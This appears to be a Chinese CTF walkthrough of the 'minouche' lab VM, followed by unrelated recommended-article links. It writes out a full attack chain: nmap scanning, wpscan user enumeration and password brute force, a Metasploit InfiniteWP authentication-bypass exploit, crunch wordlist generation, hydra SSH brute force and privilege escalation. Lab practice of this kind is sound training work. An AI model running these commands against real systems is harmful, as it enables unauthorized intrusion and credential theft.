minouche
靶机准备
先将靶机导入虚拟机,并将网络模式改为NAT

扫描不到ip,改VirtualBox,使用桥接,并将kali也改为桥接模式

扫描ip:192.168.0.102
netdiscover -r 192.168.0.0/24192.168.0.0/24

kali:192.168.0.105
渗透测试
扫描端口
nmap -sS -sV -T5 -A -p- 192.168.0.102

开放了3个端口
查看80端口

发现是wordpress的CMS框架
再用dirb扫描,确认一下

用wpscan扫描,枚举用户
wpscan --url http://192.168.0.102 -e u,p
扫描到一个用户:kitty

尝试爆破密码
wpscan --url http://192.168.0.102 -U kitty -P /usr/share/wordlists/rockyou.txt

半天爆不出来,尝试从插件入手,用此工具扫描其插件
wpscan --url http://192.168.0.102 -e u,p --plugins-detection mixed
扫描到插件iwp-client

发现有漏洞:

使用msf搜索此漏洞进行利用
search InfiniteWP
use exploit/unix/webapp/wp_infinitewp_auth_bypass
set lhost 192.168.0.105
set rhosts 192.168.0.102
set username kitty
exploit

成功拿到shell

挖掘信息
一直退到根目录下发现有一个kitty.txt文件,cat查看

有个提示,你的密码使用美元符+猫的名字+你出生的年份不是一个好密码
用kali下自带的crunch根据提示生成字典
命令:
crunch 13 13 -t "$"Minouche19%% -o 1.txt
crunch 13 13 -t "$"Minouche20%% -o 2.txt

用hydra爆破一波
hydra -l kitty -P 2.txt ssh://192.168.0.102
爆破出密码

利用得到的密码,登录

在目录下发现user.txt,cat查看

发现还有一个压缩包:android.zip
拷贝下来解压
scp kitty@192.168.0.102:~/android.zip /root

解压完以后多了一个data里面有很多数据

搜索数据库发现一个数据库里面有东西
find . -name *.db

打开数据库工具在里面发现有一长串数据

尝试用这串数据提权

提权成功
获取root目录下的数据

minouche的更多相关文章
随机推荐
- 从零开始学mitmproxy抓包工具
Man In The Middle mitm是Man In The Middle的首字母缩写,意思是位于中间的人,表明mitmproxy是一个代理,可以拦截请求,实现网络抓包.知名的网络抓包工具有Fi ...
- Java中类变量(静态变量)和类方法(静态方法)
类变量 类变量也叫静态变量或静态属性,是该类所有对象共享的变量任何一个该类的对象去访问它时,取得都是一样的值 语法: 访问修饰符 static 数据类型 变量名 static 访问修饰符 数 ...
- mysql悬案 之 为什么用docker启动的mysql配置文件不生效
文章目录 故事前景 查看docker启动时挂载了哪些目录 使用相同镜像启动一个mysql 新建一个目录用来存放容器内的mysql配置文件 复制容器内的mysql配置文件到本地 查看mysql配置文件目 ...
- Tomcat是什么?
Tomcat简单的说就是一个运行JAVA的网络服务器,底层是Socket的一个程序,它也是JSP和Serlvet的一个容器. 为什么我们需要用到Tomcat 如果你学过html,css,你会知道你写的 ...
- 实例详解 Java 死锁与破解死锁
锁和被保护资源之间的关系 我们把一段需要互斥执行的代码称为临界区.线程在进入临界区之前,首先尝试加锁 lock(),如果成功,则进入临界区,此时我们称这个线程持有锁:否则呢就等待,直到持有锁的线程解锁 ...
- 在Linux发行版上使用7zip的方法
学习如何在 Ubuntu 和其他 Linux 发行版中安装和使用 7zip 7zip介绍 7Zip(更适当的写法是 7-Zip)是一种在 Windows 用户中广泛流行的归档格式.一个 7Zip 归档 ...
- springMVC 调查问卷系统 record
Maven下的依赖包有两个 spring-web和springWebMVC springwebMVC包含spring-web依赖, 但是spring-web的等级大于Spring-webmvc 没有 ...
- Java基础--序列化和反序列化
作用:在很多应用中,需要对某些对象进行序列化,让它们离开内存空间,入住物理硬盘,以便长期保存.比如最常见的是Web服务器中的Session对象,当有 10万用户并发访问,就有可能出现10万个Sessi ...
- Python:输入关键字进行百度搜索并爬取搜索结果
学习自:手把手教你用Python爬取百度搜索结果并保存 - 云+社区 - 腾讯云 如何利用python模拟百度搜索,Python交流,技术交流区,鱼C论坛 指定关键字,对其进行百度搜索,保存搜索结果, ...
- Chrome:查看HTTP请求的header信息
1.打开Google浏览器Chrome,通过F12进入开发者工具,进入Network模块下,此时由于我们还没有进行任何HTTP请求,所以这个页面下还是空空如也 2.随便通过某个搜索引擎搜索一下,比如通 ...